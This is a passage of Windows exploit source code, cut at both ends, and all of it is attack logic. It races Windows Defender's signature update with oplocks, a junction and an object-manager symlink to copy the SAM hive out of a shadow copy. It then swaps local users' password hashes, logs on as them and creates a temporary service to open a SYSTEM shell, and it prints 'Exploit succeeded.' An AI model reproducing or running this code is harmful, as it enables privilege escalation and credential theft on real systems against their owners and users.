(realNTLMHash == NULL || realNTLMHashsz == 0) { 2645 printf(" Skip : NULL NTLM.\n"); 2646 continue; 2647 } 2648 if (_wcsicmp(username, currentusername) == 0) 2649 { 2650 printf(" Skip : Current User.\n"); 2651 continue; 2652 } 2653 if (_wcsicmp(username, L"WDAGUtilityAccount") == 0) 2654 { 2655 printf(" Skip : WDAGUtilityAccount detected.\n"); 2656 continue; 2657 } 2658 2659 retval = realNTLMHash; 2660 2661 if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM)) 2662 { 2663 printf(" NewPasswordSet : OK.\n"); 2664 2665 HANDLE htoken = NULL; 2666 PSID logonsid = 0; 2667 if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL)) 2668 { 2669 printf("LogonUserEx failed, error : %d\n", GetLastError()); 2670 } 2671 if (!systemshelllaunched) { 2672 TOKEN_ELEVATION_TYPE tokentype; 2673 DWORD retsz = 0; 2674 if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz)) 2675 { 2676 printf("GetTokenInformation failed with error : %d\n", GetLastError()); 2677 } 2678 2679 if (tokentype == TokenElevationTypeLimited) 2680 { 2681 TOKEN_LINKED_TOKEN linkedtoken = { 0 }; 2682 2683 2684 if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz)) 2685 { 2686 printf("GetTokenInformation failed with error : %d\n", GetLastError()); 2687 } 2688 2689 HANDLE hdup = linkedtoken.LinkedToken; 2690 2691 DWORD sidsz = MAX_SID_SIZE; 2692 PSID administratorssid = malloc(sidsz); 2693 2694 if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz)) 2695 { 2696 printf("Failed to create well known sid, error : %d\n", GetLastError()); 2697 } 2698 2699 2700 2701 if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin)) 2702 { 2703 printf("CheckTokenMembership failed with error : %d\n", GetLastError()); 2704 } 2705 free(administratorssid); 2706 2707 CloseHandle(hdup); 2708 } 2709 2710 if (isadmin) 2711 { 2712 2713 2714 2715 2716 printf(" IsAdmin : TRUE\n"); 2717 HANDLE htoken2 = NULL; 2718 if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL)) 2719 { 2720 printf("LogonUserEx failed, error : %d\n", GetLastError()); 2721 } 2722 //SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE); 2723 const wchar_t sid_string[] = L"S-1-16-8192"; 2724 TOKEN_MANDATORY_LABEL integrity; 2725 PSID sid = NULL; 2726 ConvertStringSidToSidW(sid_string, &sid); 2727 ZeroMemory(&integrity, sizeof(integrity)); 2728 integrity.Label.Attributes = SE_GROUP_INTEGRITY; 2729 integrity.Label.Sid = sid; 2730 if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) { 2731 wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError()); 2732 } 2733 LocalFree(sid); 2734 //CloseHandle(htoken2); 2735 2736 ImpersonateLoggedOnUser(htoken2); 2737 2738 2739 SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); 2740 if (!hmgr) 2741 { 2742 printf("OpenSCManager failed with error : %d", GetLastError()); 2743 } 2744 2745 GUID uid = { 0 }; 2746 RPC_WSTR wuid = { 0 }; 2747 wchar_t* wuid2 = 0; 2748 2749 UuidCreate(&uid); 2750 UuidToStringW(&uid, &wuid); 2751 wuid2 = (wchar_t*)wuid; 2752 2753 wchar_t binpath[MAX_PATH] = { 0 }; 2754 GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH); 2755 wchar_t servicecmd[MAX_PATH] = { 0 }; 2756 DWORD currentsesid = 0; 2757 ProcessIdToSessionId(GetCurrentProcessId(), ¤tsesid); 2758 wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid); 2759 2760 SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL); 2761 if (!hsvc) 2762 { 2763 printf("CreateService Failed with error : %d\n", GetLastError()); 2764 } 2765 else { 2766 printf(" SYSTEMShell : OK.\n"); 2767 } 2768 2769 StartService(hsvc, NULL, NULL); 2770 Sleep(100); 2771 DeleteService(hsvc); 2772 CloseServiceHandle(hsvc); 2773 CloseServiceHandle(hmgr); 2774 RevertToSelf(); 2775 CloseHandle(htoken2); 2776 systemshelllaunched = true; 2777 } 2778 else { 2779 printf(" IsAdmin : FALSE\n"); 2780 } 2781 2782 2783 } 2784 2785 STARTUPINFO si = { 0 }; 2786 PROCESS_INFORMATION pi = { 0 }; 2787 if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi)) 2788 { 2789 printf(" Shell : Error %d\n", GetLastError()); 2790 } 2791 else { 2792 printf(" Shell : OK.\n"); 2793 if (pi.hProcess) 2794 CloseHandle(pi.hProcess); 2795 if (pi.hThread) 2796 CloseHandle(pi.hThread); 2797 } 2798 2799 if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash)) 2800 { 2801 printf(" PasswordRestore : Error %d\n", GetLastError()); 2802 } 2803 2804 else { 2805 printf(" PasswordRestore : OK.\n"); 2806 } 2807 CloseHandle(htoken); 2808 } 2809 2810 // __debugbreak(); 2811 2812 2813 2814 } 2815 2816 ORCloseHive(hSAMhive); 2817 printf("******************************************\n"); 2818 free(newNTLM); 2819 return true; 2820 2821 2822 2823 } 2824 2825 bool IsRunningAsLocalSystem() 2826 { 2827 2828 HANDLE htoken = NULL; 2829 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { 2830 printf("OpenProcessToken failed, error : %d\n", GetLastError()); 2831 return false; 2832 } 2833 TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER)); 2834 DWORD retsz = 0; 2835 bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz); 2836 CloseHandle(htoken); 2837 if (!res) 2838 return false; 2839 2840 return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); 2841 } 2842 2843 void LaunchConsoleInSessionId(DWORD sessionid) 2844 { 2845 HANDLE htoken = NULL; 2846 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken)) 2847 return; 2848 2849 SetPrivilege(htoken, SE_TCB_NAME, TRUE); 2850 SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE); 2851 SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE); 2852 SetPrivilege(htoken, SE_DEBUG_NAME, TRUE); 2853 2854 HANDLE hnewtoken = NULL; 2855 bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken); 2856 CloseHandle(htoken); 2857 if (!res) 2858 return; 2859 2860 res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD)); 2861 if (!res) 2862 { 2863 CloseHandle(hnewtoken); 2864 return; 2865 } 2866 2867 STARTUPINFO si = { 0 }; 2868 PROCESS_INFORMATION pi = { 0 }; 2869 CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); 2870 2871 CloseHandle(hnewtoken); 2872 2873 if (pi.hProcess) 2874 CloseHandle(pi.hProcess); 2875 if (pi.hThread) 2876 CloseHandle(pi.hThread); 2877 return; 2878 2879 } 2880 2881 int wmain(int argc, wchar_t* argv[]) 2882 { 2883 2884 2885 if (IsRunningAsLocalSystem()) 2886 { 2887 printf("Running as local system.\n"); 2888 if (argc == 2) 2889 { 2890 DWORD sessionid = _wtoi(argv[1]); 2891 if (sessionid) { 2892 printf("Session id : %d\n", sessionid); 2893 LaunchConsoleInSessionId(sessionid); 2894 } 2895 } 2896 return 0; 2897 } 2898 2899 2900 const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"} 2901 /*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/ 2902 }; 2903 wchar_t fullvsspath[MAX_PATH] = { 0 }; 2904 HANDLE hreleaseready = NULL; 2905 wchar_t updtitle[0x200] = { 0 }; 2906 wchar_t targetfile[MAX_PATH] = { 0 }; 2907 wchar_t copiedfilepath[MAX_PATH] = { 0 }; 2908 /* 2909 if (argc >= 2) { 2910 wcscpy(targetfile, argv[1]); 2911 printf("Target file : \"%ws\"\n", targetfile); 2912 } 2913 else { 2914 2915 wcscpy(targetfile, L"C:\\Windows\\System32\\Config\\ELAM"); 2916 printf("No source file specified, \"%ws\" will be used.\n", targetfile); 2917 } 2918 if (argc > 2) { 2919 wcscpy(copiedfilepath, argv[2]); 2920 printf("Copy file path : \"%ws\"\n", copiedfilepath); 2921 } 2922 else 2923 { 2924 2925 printf("No file path was specified for file copy, \"%ws\" will be used.\n", copiedfilepath); 2926 } 2927 2928 HANDLE hcheck = CreateFile(copiedfilepath, GENERIC_WRITE | DELETE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_DELETE_ON_CLOSE, NULL); 2929 if (!hcheck || hcheck == INVALID_HANDLE_VALUE) 2930 { 2931 printf("Cannot open file to copy leaked file to, please specify a different path"); 2932 return 0; 2933 } 2934 CloseHandle(hcheck); 2935 hcheck = CreateFile(targetfile, FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 2936 if (hcheck && hcheck != INVALID_HANDLE_VALUE) 2937 { 2938 printf("Target file can be opened for read access, exiting."); 2939 CloseHandle(hcheck); 2940 return 0; 2941 } 2942 DWORD lasterr = GetLastError(); 2943 if(lasterr == ERROR_FILE_NOT_FOUND || lasterr == ERROR_PATH_NOT_FOUND) 2944 { 2945 printf("Target file does not exist.\n"); 2946 return 0; 2947 } 2948 */ 2949 wchar_t nttargetfile[MAX_PATH] = { 0 }; 2950 //wcscpy(nttargetfile, L"\\??\\"); 2951 //wcscat(nttargetfile, targetfile); 2952 2953 wchar_t* filestodel[100] = { 0 }; 2954 HINTERNET hint = NULL; 2955 HINTERNET hint2 = NULL; 2956 char data[0x1000] = { 0 }; 2957 DWORD index = 0; 2958 DWORD sz = sizeof(data); 2959 bool res2 = 0; 2960 wchar_t filesz[50] = { 0 }; 2961 LARGE_INTEGER li = { 0 }; 2962 GUID uid = { 0 }; 2963 RPC_WSTR wuid = { 0 }; 2964 wchar_t* wuid2 = 0; 2965 wchar_t envstr[MAX_PATH] = { 0 }; 2966 wchar_t mpampath[MAX_PATH] = { 0 }; 2967 HANDLE hmpap = NULL; 2968 void* exebuff = NULL; 2969 DWORD readsz = 0; 2970 HANDLE hmapping = NULL; 2971 void* mappedbuff = NULL; 2972 HRSRC hres = NULL; 2973 DWORD ressz = NULL; 2974 HGLOBAL cabbuff = NULL; 2975 wchar_t cabpath[MAX_PATH] = { 0 }; 2976 wchar_t updatepath[MAX_PATH] = { 0 }; 2977 HANDLE hcab = NULL; 2978 ERF erfstruct = { 0 }; 2979 HFDI hcabctx = NULL; 2980 char _updatepath[MAX_PATH] = { 0 }; 2981 bool extractres = false; 2982 char buff[0x1000] = { 0 }; 2983 DWORD retbytes = 0; 2984 DWORD tid = 0; 2985 HANDLE hthread = NULL; 2986 WDRPCWorkerThreadArgs threadargs = { 0 }; 2987 HANDLE hcurrentthread = NULL; 2988 HANDLE hdir = NULL; 2989 wchar_t newdefupdatedirname[MAX_PATH] = { 0 }; 2990 wchar_t updatelibpath[MAX_PATH] = { 0 }; 2991 UNICODE_STRING unistrupdatelibpath = { 0 }; 2992 OBJECT_ATTRIBUTES objattr = { 0 }; 2993 IO_STATUS_BLOCK iostat = { 0 }; 2994 HANDLE hupdatefile = NULL; 2995 NTSTATUS ntstat = 0; 2996 OVERLAPPED ovd = { 0 }; 2997 DWORD transfersz = 0; 2998 wchar_t newname[MAX_PATH] = { 0 }; 2999 DWORD renstructsz = 0; 3000 UNICODE_STRING objlinkname = { 0 }; 3001 UNICODE_STRING objlinktarget = { 0 }; 3002 FILE_RENAME_INFO* fri = 0; 3003 wchar_t wreparsedirpath[MAX_PATH] = { 0 }; 3004 UNICODE_STRING reparsedirpath = { 0 }; 3005 HANDLE hreparsedir = NULL; 3006 wchar_t newtmp[MAX_PATH] = { 0 }; 3007 wchar_t rptarget[MAX_PATH] = { 0 }; 3008 wchar_t printname[1] = { L'\0' }; 3009 size_t targetsz = 0; 3010 size_t printnamesz = 0; 3011 size_t pathbuffersz = 0; 3012 size_t totalsz = 0; 3013 REPARSE_DATA_BUFFER* rdb = 0; 3014 DWORD cb = 0; 3015 OVERLAPPED ov = { 0 }; 3016 bool ret = false; 3017 DWORD retsz = 0; 3018 HANDLE hleakedfile = NULL; 3019 HANDLE hobjlink = NULL; 3020 LARGE_INTEGER _filesz = { 0 }; 3021 OVERLAPPED ovd2 = { 0 }; 3022 DWORD __readsz = 0; 3023 void* leakedfilebuff = 0; 3024 bool filelocked = false; 3025 bool needcabcleanup = false; 3026 bool dirmoved = false; 3027 bool needupdatedircleanup = false; 3028 UpdateFiles* UpdateFilesList = NULL; 3029 UpdateFiles* UpdateFilesListCurrent = NULL; 3030 bool isvssready = false; 3031 bool criterr = false; 3032 3033 3034 try { 3035 3036 printf("Checking for windows defender signature updates...\n"); 3037 while (!CheckForWDUpdates(updtitle, &criterr)){ 3038 3039 if (criterr) 3040 goto cleanup; 3041 printf("No updates found for windows defender. Recheking in 30 seconds...\n"); 3042 Sleep(30000); 3043 3044 } 3045 printf("Found Update : \n%ws\n", updtitle); 3046 3047 UpdateFilesList = GetUpdateFiles(); 3048 if (!UpdateFilesList) 3049 { 3050 goto cleanup; 3051 } 3052 printf("Updates downloaded.\n"); 3053 3054 3055 printf("Creating VSS copy...\n"); 3056 hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL); 3057 if (!hreleaseready) 3058 { 3059 printf("Failed to create event error : %d\n", GetLastError()); 3060 goto cleanup; 3061 } 3062 3063 3064 isvssready = TriggerWDForVS(hreleaseready, fullvsspath); 3065 if (!isvssready) 3066 goto cleanup; 3067 3068 for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++) 3069 { 3070 UpdateFilesListCurrent = UpdateFilesList; 3071 UuidCreate(&uid); 3072 UuidToStringW(&uid, &wuid); 3073 wuid2 = (wchar_t*)wuid; 3074 wcscpy(envstr, L"%TEMP%\\"); 3075 wcscat(envstr, wuid2); 3076 ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH); 3077 needupdatedircleanup = CreateDirectory(updatepath, NULL); 3078 if (!needupdatedircleanup) 3079 { 3080 printf("Failed to create update directory, error : %d", GetLastError()); 3081 goto cleanup; 3082 } 3083 printf("Created update directory %ws\n", updatepath); 3084 while (UpdateFilesListCurrent) 3085 { 3086 wchar_t filepath[MAX_PATH] = { 0 }; 3087 //wchar_t filename[MAX_PATH] = { 0 }; 3088 wcscpy(filepath, updatepath); 3089 wcscat(filepath, L"\\"); 3090 MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filepath[lstrlenW(filepath)], MAX_PATH - lstrlenW(filepath)); 3091 3092 3093 HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL); 3094 3095 if (!hupdate || hupdate == INVALID_HANDLE_VALUE) 3096 { 3097 printf("Failed to create update file, error : %d", GetLastError()); 3098 goto cleanup; 3099 } 3100 UpdateFilesListCurrent->filecreated = true; 3101 DWORD writtenbytes = 0; 3102 if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL)) 3103 { 3104 printf("Failed to write update file, error : %d", GetLastError()); 3105 CloseHandle(hupdate); 3106 goto cleanup; 3107 } 3108 CloseHandle(hupdate); 3109 printf("Created update file : %ws\n", filepath); 3110 UpdateFilesListCurrent = UpdateFilesListCurrent->next; 3111 3112 } 3113 3114 hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); 3115 if (!hdir || hdir == INVALID_HANDLE_VALUE) 3116 { 3117 printf("Failed to open definition updates directory, error : %d", GetLastError()); 3118 goto cleanup; 3119 } 3120 3121 hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId()); 3122 if (!hcurrentthread) 3123 { 3124 printf("Unexpected error while opening current thread, error : %d", GetLastError()); 3125 goto cleanup; 3126 } 3127 threadargs.dirpath = updatepath; 3128 threadargs.hntfythread = hcurrentthread; 3129 threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL); 3130 hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid); 3131 3132 printf("Waiting for windows defender to create a new definition update directory...\n"); 3133 wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\"); 3134 do { 3135 ZeroMemory(buff, sizeof(buff)); 3136 OVERLAPPED od = { 0 }; 3137 od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); 3138 ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL); 3139 HANDLE events[2] = { od.hEvent, threadargs.hevent }; 3140 if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0) 3141 { 3142 printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res); 3143 goto cleanup; 3144 } 3145 CloseHandle(od.hEvent); 3146 3147 PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff; 3148 if (pfni->Action != FILE_ACTION_ADDED) 3149 continue; 3150 3151 wcscat(newdefupdatedirname, pfni->FileName); 3152 break; 3153 } while (1); 3154 printf("Detected new definition update directory in %ws\n", newdefupdatedirname); 3155 3156 wcscpy(updatelibpath, L"\\??\\"); 3157 wcscat(updatelibpath, updatepath); 3158 wcscat(updatelibpath, L"\\mpasbase.vdm"); 3159 3160 RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath); 3161 InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL); 3162 3163 ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL); 3164 if (ntstat) 3165 { 3166 printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat); 3167 goto cleanup; 3168 } 3169 printf("Setting oplock on %ws\n", updatelibpath); 3170 3171 ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); 3172 DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); 3173 3174 if (GetLastError() != ERROR_IO_PENDING) 3175 { 3176 printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); 3177 goto cleanup; 3178 } 3179 printf("Waiting for oplock to trigger...\n"); 3180 GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE); 3181 printf("oplock triggered !\n"); 3182 3183 // 3184 3185 wcscpy(newname, updatepath); 3186 wcscat(newname, L".WDFOO"); 3187 renstructsz = sizeof(FILE_RENAME_INFO) + wcslen(newname) * sizeof(wchar_t) + sizeof(wchar_t); 3188 fri = (FILE_RENAME_INFO*)malloc(renstructsz); 3189 ZeroMemory(fri, renstructsz); 3190 fri->ReplaceIfExists = TRUE; 3191 fri->FileNameLength = wcslen(newname) * sizeof(wchar_t); 3192 wcscpy(&fri->FileName[0], newname); 3193 if (!SetFileInformationByHandle(hupdatefile, FileRenameInfo, fri, renstructsz)) 3194 { 3195 printf("Failed to move file from %ws to %ws error : %d", updatelibpath, newname, GetLastError()); 3196 goto cleanup; 3197 } 3198 free(fri); 3199 fri = NULL; 3200 printf("File moved %ws to %ws\n", updatelibpath, newname); 3201 // 3202 3203 3204 wcscpy(newtmp, updatepath); 3205 wcscat(newtmp, L".foo"); 3206 if (!MoveFile(updatepath, newtmp)) 3207 { 3208 printf("Failed to move %ws to %ws, error : %d", updatepath, newtmp, GetLastError()); 3209 goto cleanup; 3210 } 3211 dirmoved = true; 3212 printf("Directory moved %ws to %ws\n", updatepath, newtmp); 3213 3214 wcscpy(wreparsedirpath, L"\\??\\"); 3215 wcscat(wreparsedirpath, updatepath); 3216 3217 RtlInitUnicodeString(&reparsedirpath, wreparsedirpath); 3218 InitializeObjectAttributes(&objattr, &reparsedirpath, OBJ_CASE_INSENSITIVE, NULL, NULL); 3219 3220 ntstat = NtCreateFile(&hreparsedir, GENERIC_WRITE | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT | FILE_DELETE_ON_CLOSE, NULL, NULL); 3221 if (ntstat) 3222 { 3223 printf("Failed to recreate update directory, error : 0x%0.8X", ntstat); 3224 goto cleanup; 3225 } 3226 printf("Recreated %ws\n", updatepath); 3227 3228 3229 wcscpy(rptarget, L"\\BaseNamedObjects\\Restricted"); 3230 targetsz = wcslen(rptarget) * 2; 3231 printnamesz = 1 * 2; 3232 pathbuffersz = targetsz + printnamesz + 12; 3233 totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH; 3234 rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz); 3235 rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; 3236 rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz); 3237 rdb->Reserved = NULL; 3238 rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL; 3239 rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz); 3240 memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2); 3241 rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2); 3242 rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz); 3243 memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, printname, printnamesz); 3244 3245 ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); 3246 if (!ov.hEvent) 3247 { 3248 printf("Failed to create event, error : %d", GetLastError()); 3249 goto cleanup; 3250 } 3251 DeviceIoControl(hreparsedir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, &ov); 3252 HeapFree(GetProcessHeap(), NULL, rdb); 3253 rdb = NULL; 3254 if (GetLastError() == ERROR_IO_PENDING) { 3255 GetOverlappedResult(hreparsedir, &ov, &retsz, TRUE); 3256 } 3257 if (GetLastError() != ERROR_SUCCESS) 3258 { 3259 printf("Failed to create reparse point, error : %d", GetLastError()); 3260 goto cleanup; 3261 } 3262 printf("Junction created %ws => %ws\n", updatepath, rptarget); 3263 3264 ZeroMemory(nttargetfile, sizeof(nttargetfile)); 3265 wcscpy(nttargetfile, fullvsspath); 3266 wcscat(nttargetfile, filestoleak[x]); 3267 3268 RtlInitUnicodeString(&objlinkname, L"\\BaseNamedObjects\\Restricted\\mpasbase.vdm"); 3269 RtlInitUnicodeString(&objlinktarget, nttargetfile); 3270 InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, NULL, NULL); 3271 3272 ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget); 3273 if (ntstat) 3274 { 3275 printf("Failed to create object manager symbolic link, error : %d", GetLastError()); 3276 goto cleanup; 3277 } 3278 printf("Object manager link created %ws => %ws\n", objlinkname.Buffer, objlinktarget.Buffer); 3279 3280 //TerminateThread(hthread, ERROR_SUCCESS); // kill the thread, don't care if it is still running 3281 //CloseHandle(hthread); 3282 //hthread = NULL; 3283 CloseHandle(ov.hEvent); 3284 ov.hEvent = NULL; 3285 CloseHandle(ovd.hEvent); 3286 ovd.hEvent = NULL; 3287 CloseHandle(hupdatefile); 3288 hupdatefile = NULL; 3289 3290 3291 wcscat(newdefupdatedirname, L"\\mpasbase.vdm"); 3292 do { 3293 hleakedfile = CreateFile(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 3294 } while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile); 3295 printf("Leaked file opened %ws\n", newdefupdatedirname); 3296 3297 3298 CloseHandle(hdir); 3299 hdir = NULL; 3300 CloseHandle(hreparsedir); 3301 hreparsedir = NULL; 3302 CloseHandle(hobjlink); 3303 hobjlink = NULL; 3304 3305 GetFileSizeEx(hleakedfile, &_filesz); 3306 LockFileEx(hleakedfile, LOCKFILE_EXCLUSIVE_LOCK, NULL, _filesz.LowPart, _filesz.HighPart, &ovd2); 3307 filelocked = true; 3308 leakedfilebuff = malloc(_filesz.QuadPart); 3309 if (!leakedfilebuff) 3310 { 3311 printf("Failed to allocate enough memory to copy leaked file !!!"); 3312 goto cleanup; 3313 } 3314 3315 if (!ReadFile(hleakedfile, leakedfilebuff, _filesz.QuadPart, &__readsz, NULL)) 3316 { 3317 printf("Failed to read file, error : %d\n", GetLastError()); 3318 goto cleanup; 3319 } 3320 3321 UnlockFile(hleakedfile, NULL, NULL, NULL, NULL); 3322 filelocked = false; 3323 CloseHandle(hleakedfile); 3324 printf("Read %d bytes\n", __readsz); 3325 3326 ZeroMemory(copiedfilepath, sizeof(copiedfilepath)); 3327 3328 UuidCreate(&uid); 3329 UuidToStringW(&uid, &wuid); 3330 wuid2 = (wchar_t*)wuid; 3331 wchar_t env2[MAX_PATH] = { 0 }; 3332 wcscpy(env2, L"%TEMP%\\"); 3333 wcscat(env2, wuid2); 3334 3335 ExpandEnvironmentStrings(env2, copiedfilepath, sizeof(copiedfilepath) / sizeof(wchar_t)); 3336 //wcscat(copiedfilepath, L"\\"); 3337 //wcscat(copiedfilepath, PathFindFileName(filestoleak[x])); 3338 3339 hleakedfile = CreateFile(copiedfilepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 3340 if (!hleakedfile || hleakedfile == INVALID_HANDLE_VALUE) 3341 { 3342 printf("Failed to create leaked file, error : %d", GetLastError()); 3343 goto cleanup; 3344 } 3345 if (!WriteFile(hleakedfile, leakedfilebuff, _filesz.QuadPart, &__readsz, NULL)) 3346 { 3347 printf("Failed to write leaked file, error : %d", GetLastError()); 3348 CloseHandle(hleakedfile); 3349 hleakedfile = NULL; 3350 // delete the file 3351 DeleteFile(copiedfilepath); 3352 goto cleanup; 3353 } 3354 CloseHandle(hleakedfile); 3355 hleakedfile = NULL; 3356 printf("Exploit succeeded.\n"); 3357 SetEvent(hreleaseready); 3358 3359 printf("SAM file written at : %ws\n", copiedfilepath); 3360 DoSpawnShellAsAllUsers(copiedfilepath); 3361 3362 WaitForSingleObject(hthread, INFINITE); 3363 CloseHandle(hthread); 3364 hthread = NULL; 3365 3366 3367 3368 } 3369 3370 } 3371 catch (int exception) 3372 { 3373 goto cleanup; 3374 } 3375 3376 cleanup: 3377 3378 if(hint) 3379 InternetCloseHandle(hint); 3380 if(hint) 3381 InternetCloseHandle(hint2); 3382 if (exebuff) 3383 free(exebuff); 3384 if(mappedbuff) 3385 UnmapViewOfFile(mappedbuff); 3386 if (hmapping) 3387 CloseHandle(hmapping); 3388 if (hcabctx) 3389 FDIDestroy(hcabctx); 3390 if (hdir) 3391 CloseHandle(hdir); 3392 if (fri) 3393 free(fri); 3394 if (rdb) 3395 HeapFree(GetProcessHeap(), NULL, rdb); 3396 if (ov.hEvent) 3397 CloseHandle(ov.hEvent); 3398 if (ovd.hEvent) 3399 CloseHandle(ovd.hEvent); 3400 3401 if (hreleaseready) 3402 { 3403 SetEvent(hreleaseready); 3404 Sleep(1000); 3405 CloseHandle(hreleaseready); 3406 } 3407 if (hleakedfile) 3408 { 3409 if (filelocked) 3410 UnlockFile(hleakedfile, NULL, NULL, NULL, NULL); 3411 CloseHandle(hleakedfile); 3412 } 3413 if (leakedfilebuff) 3414 free(leakedfilebuff); 3415 if (hcurrentthread) 3416 CloseHandle(hcurrentthread); 3417 if (needupdatedircleanup) 3418 { 3419 wchar_t 